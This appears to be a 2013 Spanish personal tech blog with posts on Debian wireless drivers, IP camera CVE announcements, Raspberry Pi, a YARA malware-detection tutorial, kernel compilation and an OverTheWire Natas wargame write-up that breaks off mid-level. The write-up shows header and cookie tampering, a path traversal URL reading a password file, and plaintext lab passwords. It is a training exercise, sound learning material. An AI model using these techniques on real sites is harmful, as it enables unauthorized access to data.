jueves, 9 de mayo de 2013

Placa wireless Broadcom BCM4312 y Debian Wheezy

Hace unos días se publicó la nueva versión de Debian, denominada Wheezy

Yo vivía contento con mi HP Pavilion dv2-1010la y mi Debian Squeeze instalado en ella.

Al momento de comprar la PC venía con Windows Vista pre-instalado y todo funcionaba bien, bueh, salvo por Windows :)

Al instalar Squeeze, cuyo kernel es 2.6, la placa wireless Broadcom dejó de funcionar pero gracias a los pasos descriptos en http://wiki.debian.org/bcm43xx pude volver a revivirla.

Al hacer update a Wheezy, la placa dejó de funcionar otra vez y esta vez los pasos descriptos en el link anterior no fueron suficientes para revivirla.

Probé incluso compilando los drivers que ofrece el fabricante http://www.broadcom.com/support/802.11/linux_sta.php pero nada parecía funcionar y parece que fue debido a que Wheezy tiene kernel 3.2 en lugar de 2.6.

Por suerte, acá encontré la solución.

Ejecutando los siguientes comandos desde una terminal y reiniciando, mi placa wireless volvió a funcionar:

echo "deb http://ftp.br.debian.org/debian/ wheezy main contrib non-free" >> /etc/apt/sources.list
apt-get update
apt-get install firmware-linux-nonfree firmware-b43-installer # or firmware-b43-lpphy-installer
En mi caso, tuve que instalar firmware-b43-lpphy-installer en lugar de firmware-b43-installer.

Ah, para saber que tipo de placa wireless tenemos, simplemente ejecuto el comando lspci:

ncr@debian:~$ lspci
00:00.0 Host bridge: Advanced Micro Devices [AMD] nee ATI RS690 Host Bridge
00:01.0 PCI bridge: Advanced Micro Devices [AMD] nee ATI RS690 PCI to PCI Bridge (Internal gfx)
00:06.0 PCI bridge: Advanced Micro Devices [AMD] nee ATI RS690 PCI to PCI Bridge (PCI Express Port 2)
00:07.0 PCI bridge: Advanced Micro Devices [AMD] nee ATI RS690 PCI to PCI Bridge (PCI Express Port 3)
00:12.0 SATA controller: Advanced Micro Devices [AMD] nee ATI SB600 Non-Raid-5 SATA
00:13.0 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI0)
00:13.1 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI1)
00:13.2 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI2)
00:13.3 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI3)
00:13.4 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI4)
00:13.5 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB Controller (EHCI)
00:14.0 SMBus: Advanced Micro Devices [AMD] nee ATI SBx00 SMBus Controller (rev 14)
00:14.1 IDE interface: Advanced Micro Devices [AMD] nee ATI SB600 IDE
00:14.2 Audio device: Advanced Micro Devices [AMD] nee ATI SBx00 Azalia (Intel HDA)
00:14.3 ISA bridge: Advanced Micro Devices [AMD] nee ATI SB600 PCI to LPC Bridge
00:14.4 PCI bridge: Advanced Micro Devices [AMD] nee ATI SBx00 PCI to PCI Bridge
00:18.0 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration
00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map
00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller
00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control
01:05.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI RS690M [Radeon X1200 Series]
02:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)
08:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8101E/RTL8102E PCI Express Fast Ethernet controller (rev 02)
Este post es más una ayuda de memoria para el futuro dado que siempre me pasa que cuando me encuentro con un problema y lo soluciono, al tiempo no recuerdo como lo hice :P

miércoles, 1 de mayo de 2013

Advisories - Vulnerabilidades en IP cams: D-Link & Vivotek

Hola!,

ayer se publicaron dos advisories sobre un par de bugs que encontramos con Francisco Falcón en cámaras IP D-Link y Vivotek.

Las vulnerabilidades son las siguientes:

D-Link:


Vivotek:

  • CVE-2013-1597: dump the camera's memory and retrieve user credentials
  • CVE-2013-1598: execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a)
Los detalles técnicos de cada bug, los modelos de cámaras afectados e información sobre los parches pueden encontrarlos en los siguientes links:

jueves, 4 de abril de 2013

Mi experiencia con Raspberry Pi


Hace un tiempo atrás, no recuerdo muy bien si fue googleando, por medio de un amigo, o algún mensaje en una lista de correo, supe de la existencia de Raspberry Pi y desde ese mismo me fascinó.

Què es Raspberry Pi o Raspi?. Es una computadora del tamaño de una tarjeta de crédito que fue creada por la fundación Raspberry para promover el estudio de las ciencias de la computadora, en general, y el uso de lenguajes de programación, enfocados en Python. Además, es una PC de muy bajo costo, entre 20 y 40 dólares, y con buenas prestaciones.

Hay dos modelos, el modelo más potente hasta la fecha es el B que tiene las siguientes características:
SoC: Broadcom BCM2835 (CPU + GPU. SDRAM is a separate chip stacked on top)
CPU: 700 MHz ARM11 ARM1176JZF-S core
GPU: Broadcom VideoCore IV,OpenGL ES 2.0,OpenVG 1080p30 H.264 high-profile encode/decode
USB ports: 2 (via integrated USB hub)
Video outputs: Composite video | Composite RCA, HDMI (not at the same time)
Audio outputs: TRS connector | 3.5 mm jack, HDMI
Onboard storage: Secure Digital|SD / MMC / SDIO card slot
Onboard network: 10/100 wired Ethernet RJ45
Low-level peripherals: General Purpose Input/Output (GPIO) pins, Serial Peripheral Interface Bus (SPI), I²C, I²S[2], Universal asynchronous receiver/transmitter (UART)
Como pueden observar, las prestaciones son muy buenas y nos ofrecen muchas posibilidades como, por ejemplo, correr Quake 3, tener un media server para conectar a nuestro LCD o simplemente, aprender a programar :)

Yo adquirí el modelo B en Adafruit hace algunas semanas y pude conectarlo a la TV por medio del cable de video común sin problemas para comenzar a jugar. Les recomiendo que lean este post para ir metiendose en el tema.

Acá en Argentina se está armando toda una comunidad alrededor de Raspberry. Si les interesa pueden visitar su twitter acá o visitar su página web acá.

La verdad es que estoy muy contento con este nuevo juguete y, aunque por falta de tiempo no he podido jugar mucho más con él, no veo la hora de comenzar algún proyectito.

Mi consejo: compren uno y ponganse a jugar!.

Hasta pronto!.

Referencias:

sábado, 30 de marzo de 2013

Unas notas sobre Yara

Hace un tiempo, tuve la tarea de tratar de identificar determinado patrón dentro de un conjunto de archivos dado. Primero pensé en hacerlo con Python pero no quería hacer lo que seguramente están pensando: string.find(). Entonces, recordé que en un momento, leyendo Malware Analyst's Cookbook, había visto yara.

Qué es Yara?. Desde su web dicen esto:
YARA is a tool aimed at helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families based on textual or binary patterns contained on samples of those families. Each description consists of a set of strings and a Boolean expression which determines its logic.
Para ponerlo en criollo, Yara permite, mediante un conjunto de reglas, clasificar e identificar muestras de malware.

Esto lo vamos a ver mucho más claro con un ejemplo, pero primero, instalemos Yara.

Primero que nada, nos bajamos los sources y los bindings para Python:
nriva@ubuntu:~$ wget http://yara-project.googlecode.com/files/yara-1.7.tar.gz
nriva@ubuntu:~$ wget http://yara-project.googlecode.com/files/yara-python-1.7.tar.gz
Luego, descomprimimos los .tar.gz:
nriva@ubuntu:~$ tar xzf yara-1.7.tar.gz 
nriva@ubuntu:~$ tar xzf yara-python-1.7.tar.gz
Instalamos un par de paquetes que vamos a necesitar para compilar:
nriva@ubuntu:~$ sudo apt-get install python-dev libpcre3 libpcre3-dev
Ahora, nos vamos a la carpeta de los sources de Yara y ejecutamos los siguientes comandos para compilar:
nriva@ubuntu:~$ cd yara-1.7/
nriva@ubuntu:~/yara-1.7$ ./configure
nriva@ubuntu:~/yara-1.7$ make
nriva@ubuntu:~/yara-1.7$ make check
nriva@ubuntu:~/yara-1.7$ sudo make install
Listo, ya tenemos yara funcionando:
nriva@ubuntu:~/yara-1.7$ yara
usage:  yara [OPTION]... [RULEFILE]... FILE | PID
options:
  -t <tag>                  print rules tagged as <tag> and ignore the rest. Can be used more than once.
  -i <identifier>           print rules named <identifier> and ignore the rest. Can be used more than once.
  -n                        print only not satisfied rules (negate).
  -g                        print tags.
  -m                        print metadata.
  -s                        print matching strings.
  -l <number>               abort scanning after a <number> of rules matched.
  -d <identifier>=<value>   define external variable.
  -r                        recursively search directories.
  -f                        fast matching mode.
  -v                        show version information.

Report bugs to: <vmalvarez@virustotal.com>
Ahora, compilemos los bindings para Python:
nriva@ubuntu:~$ cd yara-python-1.7/
nriva@ubuntu:~/yara-python-1.7$ python setup.py build
nriva@ubuntu:~/yara-python-1.7$ sudo python setup.py install
Probemos a ver si funciona:
nriva@ubuntu:~/yara-python-1.7$ python
Python 2.7.2+ (default, Jul 20 2012, 22:15:08)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: libyara.so.0: cannot open shared object file: No such file or directory
>>>
Tenemos un error. Buscando en Google, damos con la solución:
nriva@ubuntu:~/yara-python-1.7$ sudo su
root@ubuntu:/home/nriva/yara-python-1.7# echo "/usr/local/lib" >> /etc/ld.so.conf
root@ubuntu:/home/nriva/yara-python-1.7# ldconfig
root@ubuntu:/home/nriva/yara-python-1.7# exit
exit
nriva@ubuntu:~/yara-python-1.7$ python
Python 2.7.2+ (default, Jul 20 2012, 22:15:08)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
>>> dir(yara)
['CALLBACK_ABORT', 'CALLBACK_CONTINUE', 'Error', 'SyntaxError', '__doc__', '__file__', '__name__', '__package__', 'compile']
>>> 
Ya tenemos todo funcionando. Por un lado, la versión standalone que ejecutaremos desde una terminal y por el otro los módulos para poder utilizar Yara desde Python.

Es hora de que comencemos a escribir nuestra primer regla, pero les aconsejo que miren la documentación de Yara para tener mucha más información al respecto. 

Las reglas en Yara van simplemente en un archivo .txt aunque por conveniencia se le coloca la extensión .yara.

La estructura de cada regla es la siguiente:

rule NombreDeLaRegla : keyword1 keyword2
{
     meta:
        description = "Metadata. Un simple párrafo que explica que hace la regla."
     
     strings:
        $pattern1 = "MiStringAMatchear1"
        $pattern2 = "MiStringAMatchear2"
        $regex1 = "MiRegex"

     condition:
        if $pattern1 and $pattern2 or regex1
}
Vayamos por partes.

Para comenzar, tenemos la palabra reservada "rule" para indicar que es una regla. Seguido va el nombre que queremos darle a la regla y separado por dos puntos ":" van los keywords o tags para dicha regla.

Entre llaves "{}" va a ir todo el "código" de la regla. Primero, tenemos una sección de metadata indicada con la palabra "meta". En "description" es donde colocaremos un pequeño párrafo describiendo para que sirve la regla, como funciona, etc.

Luego, tenemos dos partes importantes que son,  básicamente, el esqueleto principal de cada regla.

Primeramente, "strings" sirve para declarar los patrones a buscar y matchear. Estos patrones pueden ser bytes, strings ASCII, strings wide, tanto case sensitive como case insensitive y hasta expresiones regulares.

A continuación, tenemos "condition". En esta sección vamos a colocar todas las condiciones que deben de cumplirse para matchear. Estas son expresiones lógicas como las que pusimos en el ejemplo.

Para seguir aclarando las cosas un poco más, escribamos una regla que nos diga si un archivo esta empacado con UPX:
rule upx : checkupx
{
    meta:
        description = "Esta regla comprueba si un archivo dado esta o no empacado con UPX."
       
    strings:
        /*
        -----> UPX 3.09
        807C24 08 01  CMP BYTE PTR SS:[ESP+8],1
        0F85 E2010000 JNZ iisproxy.10091E5D
        60            PUSHAD
        BE 00800510   MOV ESI,iisproxy.10058000
        8DBE 0090FAFF LEA EDI,DWORD PTR DS:[ESI+FFFA9000]
        57            PUSH EDI
        EB 10         JMP SHORT
        */
        $entrypoint_signature = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 10 }
       
    condition:
        $entrypoint_signature at entrypoint
}
Si se fijan, en la condición estoy utilizando una palabra reservada más "entrypoint". De esta manera, le digo que solo busque el signature en el EntryPoint de un archivo PE. En caso de que el archivo no sea PE, esta regla nunca resultará en True.

Voy a probar esta regla contra un archivo empacado con UPX 3.09. Vamos a hacerlo desde una terminal:
nriva@fastix:~/Desktop$ yara -s -t checkupx checkupx.yara iisproxy.dll
upx iisproxy.dll
0x3a070:$entrypoint_signature: 80 7C 24 08 01 0F 85 E2 01 00 00 60 BE 00 80 05 10 8D BE 00 90 FA FF 57 EB 10
Como vemos, la detección fue exitosa. Al invocar a Yara, le he pasado un par de parámetros:
  • -s: con este parámetro le indico que me muestre los patrones que han matcheado.
  • -t <tag>: con este parámetro le indico que quiero que solo me matchee la regla marcada con el keyword <tag>.
Esto lo prodríamos haber hecho desde Python también pero eso queda como tarea para el lector :)

Sin dudas, es una gran herramienta que nos puede ser de mucha utilidad.

Hasta acá con Yara. Espero que les haya sido útil. Hasta la próxima.

Referencias:

Compilando un kernel custom para Linux


 El otro día necesitaba aplicar un patch al kernel de Ubuntu. Nunca me había tocado hacer esto así que no tuve más remedio que aprender :)

Con una búsqueda en Google podemos encontrar decenas de tutoriales, desde avanzados hasta novatos. En particular, yo seguí este tutorial pero tuve que hacer algunas modificaciones.

Aclaro que, en mi caso, estaba trabajando con kernel 3.0.0-12.20:


Lo primero que tenemos que hacer es instalar algunos paquetes que vamos a necesitar para compilar:
sudo apt-get install gcc fakeroot kernel-package libncurses5-devel
Luego, vamos a necesitar los sources del kernel. Acá tenemos un par de opciones para poder obtenerlos:

1. Podemos ejecutar el siguiente comando: apt-get source linux-image-$(uname -r)

De esta manera, vamos a conseguir los sources de kernel up-to-date (incluyendo parches de seguridad) para la versión de kernel que tenemos actualmente instalada.
 
En este caso, yo quería que esos parches no estén así que recurrí a la segunda opción.

2. Desde Linux Kernel Archives podemos acceder a todas las versiones del kernel de Linux.

3. En mi caso, accedí directamente al repositorio de paquetes de Ubuntu y elegí la versión que estaba utilizando (oneric) y luego en la sección de "admin" conseguí lo que buscaba linux-image-3.0.0-12-generic (3.0.0-12.20)



Sobre la parte derecha de su pantalla, van a poder observar un par de links para bajarse unos archivos:



De ahí nos vamos a bajar los siguientes archivos:
1. linux_3.0.0.orig.tar.gz: los sources del kernel "pelados"
2- linux_3.0.0-12.20.diff.gz: parches
Una vez hecho eso, vamos al home y creamos una carpeta, por ejemplo, llamada src, de esta manera:


Y en dicha carpeta colocamos los dos archivos que acabamos de bajar y los descomprimimos:
nriva@ubuntu:~/src$ tar -xf linux_3.0.0.orig.tar.gz
nriva@ubuntu:~/src$ gunzip linux_3.0.0-12.20.diff.gz
Por una lado tenemos la carpeta con los sources originales y por el otro un archivos .diff que contiene diferentes parches para dicho kernel. Por lo tanto, voy a aplicar dichos parches a los sources originales antes de hacer cualquier modificación.

Para aplicar los parches, debemos de ingresar a la carpeta donde se encuentran los sources originales y ejecutar el siguiente comando (deben de tener previamente instalado el programa "patch"):
nriva@ubuntu:~/src/linux-3.0$ patch -p1 < ../linux_3.0.0-12.20.diff
De esa manera, aplicamos los parches correspondientes al kernel original.

Una vez que tenemos hecho eso, podemos hacer los cambios que necesitemos en los sources y finalmente, compilar:

time fakeroot make-kpkg --initrd --append-to-version=-tweak kernel-image kernel-headers
El comando "time" no es necesario, es solo para ver cuando se demoró en terminar todo el proceso.

El comando "fakeroot" es una especie de falso sudo. Se utiliza cuando se necesita manipular archivos y crear, como en este caso, paquetes .deb.

make-kpkg se utiliza para crear paquetes .deb pero relacionados con el kernel.

Con "--initrd" se crea una especie de filesystem temporal (RAM disk) necesario durante el booteo del nuevo kernel.

El parámetro "--append-to-version" sirve para poder agregar una especie de "postfijo" al nuevo kernel que se generará. En este caso será algo como "kernel 3.0.0-12-tweak".

Finalmente, le indicamos que genere los binarios y headers para nuestro kernel.

Una vez que termine el proceso, vamos a tener algo como esto:

make[2]: Leaving directory `/home/nriva/src/linux-3.0'
make[1]: Leaving directory `/home/nriva/src/linux-3.0'

real    126m19.925s
user    81m21.793s
sys    14m1.429s
nriva@ubuntu:~/src/linux-3.0$
Al ir un nivel más arriba del directorio en el cual nos encontramos, vamos a encontrar dos archivos .deb:

 
Los archivos son los siguientes:
linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
Lo que debemos de hacer ahora es instalar ambos paquetes, de la siguiente manera:
sudo dpkg -i linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
Deberían de tener un output como este:
nriva@ubuntu:~/src$ sudo dpkg -i linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
[sudo] password for nriva:
Selecting previously deselected package linux-image-3.0.4-tweak.
(Reading database ... 127324 files and directories currently installed.)
Unpacking linux-image-3.0.4-tweak (from linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb) ...
Done.
Setting up linux-image-3.0.4-tweak (3.0.4-tweak-10.00.Custom) ...
Running depmod.
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
update-initramfs: Generating /boot/initrd.img-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/pm-utils 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/update-notifier 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.0.4-tweak
Found initrd image: /boot/initrd.img-3.0.4-tweak
Found linux image: /boot/vmlinuz-3.0.0-12-generic
Found initrd image: /boot/initrd.img-3.0.0-12-generic
Found memtest86+ image: /boot/memtest86+.bin
done

 Ahora, instalamos los headers:
nriva@ubuntu:~/src$ sudo dpkg -i linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
Y el output es el siguiente:
nriva@ubuntu:~/src$ sudo dpkg -i linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
[sudo] password for nriva:
Selecting previously deselected package linux-headers-3.0.4-tweak.
(Reading database ... 131337 files and directories currently installed.)
Unpacking linux-headers-3.0.4-tweak (from linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb) ...
Setting up linux-headers-3.0.4-tweak (3.0.4-tweak-10.00.Custom) ...
Examining /etc/kernel/header_postinst.d.

Ahora, solo rebooteamos y deberíamos de arrancar con el nuevo kernel por default. 

Para verificar que estamos corriendo con el nuevo kernel, abrimos una terminal y ejecutamos el comando: "uname -r":

 

Puede ocurrir que cuando booten el nuevo kernel se encuentren con un mensaje como este:
Kernel Panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
Eso lo pueden solucionar ejecutando los siguientes comandos:
sudo update-initramfs -u -k 3.0.4-tweak
sudo update-grub
En mi caso, compile varios kernels en la misma distro y quería bootear con uno u otro según las pruebas que tenía que hacer. Para eso, tuve que configurar grub para que me de la lista de kernels al inicio. Hay varias maneras de hacer esto, pero la que me funcionó fue la de comentar las siguientes líneas en /etc/default/grub:
#GRUB_HIDDEN_TIMEOUT=0
#GRUB_HIDDEN_TIMEOUT_QUIET=true
Recuerden de ejecutar "sudo update-grub" después de modificar el archivo de configuración de grub.

Otra cosa que también necesitaba era remover kernels que ya no necesitaba, eso lo podemos hacer ejecutando los siguiente comandos resaltados en amarillo:
nriva@ubuntu:~$ dpkg --list | grep linux-image
ii  linux-image-3.0.0-12-generic           3.0.0-12.20                             Linux kernel image for version 3.0.0 on x86/x86_64
ii  linux-image-3.0.4-tweak                3.0.4-tweak-10.00.Custom                Linux kernel binary image for version 3.0.4-tweak
ii  linux-image-generic                    3.0.0.12.14                             Generic Linux kernel image
nriva@ubuntu:~$ sudo apt-get purge linux-image-3.0.4-tweak
Eso es todo!. Hasta pronto!.

Referencias:

miércoles, 6 de marzo de 2013

natas wargame - Niveles 0-10

Quienes me conocen saben que no soy un gran amante de los retos web. Sin embargo, hace unos días me encontré con un sitio en el cual hay varios wargames y entre ellos hay uno dedicado a retos web. Comencé a jugarlo y realmente terminó gustandome.

La página en cuestión es http://www.overthewire.org/wargames/ y el wargame que estoy jugando es Natas.

Decidí escribir un write up de cada uno de los niveles que fui resolviendo. La mayoría de los retos resultan sencillos pero algunos otros hay que pensarlos un rato :)

 natas0

http://natas0.natas.labs.overthewire.org

Te dan un usr y pwd: natas0/natas0

En la página hay un mensaje que dice: "You can find the password for the next level on this page."

Mirando el source de la página se puede ver el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->
</div>
</body>
</html>
El password para el próximo nivel puede verse en el mismo source de la página: 9hSaVoey44Puz0fbWlHtZh5jTooLVplC

Vale aclarar que los nombres de usuario para todos los niveles son "natasX" donde X es un número incremental desde 0 a n.

natas1

En la página de este nivel se puede ver un mensaje que dice: "You can find the password for the next level on this page, but rightclicking has been blocked!"

El botón derecho está deshabilitado con Javascript pero si utilizamos, por ejemplo, noscript para bloquear los permisos de la web y evitar que no se ejecute el código Javascript, podemos ver el código de la página nuevamente donde tenemos el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->
</div>
</body>
</html>

El password para el siguiente nivel es: aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl

natas2

En esta página tenemos un mensaje como este: "There is nothing on this page"

Si miramos el source de la página podemos ver lo siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

Tenemos un tag de "img" que está referenciando un archivo llamado pixel.png en el directorio "files". Si accedemos a:

http://natas2.natas.labs.overthewire.org/files

podemos ver un archivo llamado "users.txt" que tiene el siguiente contenido:

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
eve:zo4mJWyNj2
mallory:9urtcpzBmH

El password para el siguiente nivel es: lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb

natas3

La página tiene un mensaje como este: "There is nothing on this page"

Mirando el source de la misma se puede ver el siguiente código:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>

Ese mensaje da la idea de que goole no va a poder crawlear alguna página del site que se indique en el robots.txt, tal cual dice la doc de Google:

https://developers.google.com/webmasters/control-crawl-index/docs/faq#h17

Si accedemos a http://natas3.natas.labs.overthewire.org/robots.txt podemos ver el siguiente contenido:

User-agent: *
Disallow: /s3cr3t/

La directiva "Disallow" indica que directorio o página no debe crawlearse. En este caso, se está protegiendo la página o directorio "s3cr3t".

Si ingresamos a http://natas3.natas.labs.overthewire.org/s3cr3t/ vemos que hay un archivo llamado "users.txt" con el siguiente contenido:

natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz

natas4

Al ingresar a la página se puede observar el siguiente mensaje:

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Al darle a "refresh page", se puede ver un mensaje similar:

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

De "alguna manera" sabe que venimos de un lugar diferente al que deberíamos de venir. Dice que los usuarios autorizados deben de venir de:

http://natas5.natas.labs.overthewire.org/

La manera de controlar esto es mediante el header "Referer" en el request HTTP. Utilizando, por ejemplo, LiveHTTPHeaders se puede ver el request que hacemos desde el browser y la respuesta del mismo al darle al botón "refresh page":

http://natas4.natas.labs.overthewire.org/index.php

GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Ojh5d1BMRFVCMnlZMnVqRm53R1VkV1dwOE1UNHlacnF6
Connection: keep-alive

HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:01:33 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 276
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
----------------------------------------------------------

El "Referer" en el GET a "index.php" tiene el siguiente contenido: http://natas4.natas.labs.overthewire.org/index.php pero en su lugar debería de tener "http://natas5.natas.labs.overthewire.org/". Para poder modificar el contenido de este header podemos utilizar, por ejemplo, TamperData.

Una vez modificado el referer podemos ver el siguiente contenido en la página:

Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z

natas5

Al entrar a la página, tenemos un mensaje que dice algo como:

"Access disallowed. You are not logged in"

Mirando el source de la página no se ve nada interesante:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>

Por lo tanto, el tema viene por otro lado. De alguna manera la webapp sabe que no estamos autenticados. Pero cómo?. Mirando el request HTTP se puede ver lo siguiente:

GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OlYwcDEycXozMEhFVVUyMmR6N0NaR0hpRmszVmRQQTla
Connection: keep-alive

HTTP/1.1 200 OK
Date: Fri, 01 Mar 2013 01:07:10 GMT
Server: Apache
X-Powered-By: PHP/5.3.5-1ubuntu7.11
Set-Cookie: loggedin=0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 187
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Content-Type: text/html
----------------------------------------------------------

Se puede ver que esta utilizando el header "Authorization" con "Basic" y además el header "Cookie" tiene el parámetro "loggedin" en 0. Qué pasa si tampereamos el request y cambiamos el valor del header "Cookie" a 1?. Si el control de la autenticación está dado solo por un flag, deberíamos de poder ver el flag para el próximo nivel.

El tampereado efectivamente funciona y se puede observar el siguiente mensaje:

Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU

natas6

En este nivel, tenemos un form que nos permite ingresar algo y un botón de submit. El source code de la página es el siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas6</h1>
<div id="content">

<?
include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }

?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos que hay un script donde hay un IF que comprueba que lo que se envía en el POST en el parametro "secret" sea igual al contenido de la variable "$secret". Al inicio del script se puede ver la siguiente línea:

include "includes/secret.inc";

Esto hace un include en el código del file "secret.inc", es como el #define de C. Si accedemos a:

natas6.natas.labs.overthewire.org/includes/secret.inc

Podemos ver lo siguiente:

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Al ingresar el valor de "$secret" en el form y darle al botón "submit", obtenemos el flag para el siguiente nivel:

Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU

natas7

El ingresar a la página del reto solo podemos  ver dos links a "Home" y "About". Mirando el source de la página podemos ver lo siguiente:

<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>

El hint nos dice en que directorio está el flag. Además, vemos que tanto "home" como "about" se acceden mediante el parámetro "page". Esto nos hace pensar que de alguna manera debemos de llegar al directorio que el hint nos dice pero utilizando el parámetro "page". Todo parece indicar que un path traversal existen en el parámetro "page".

Si probamos algo del estilo:

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../etc/natas_webpass/natas8

tendremos el siguiente resultado:

maabkdexUStb6JJXUqmBx7Re8M61cksn

natas8

En la página podemos ver un form que nos pide ingresar un "secret", un botón para submitear el valor y un link para ver el source code de la página:

 <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
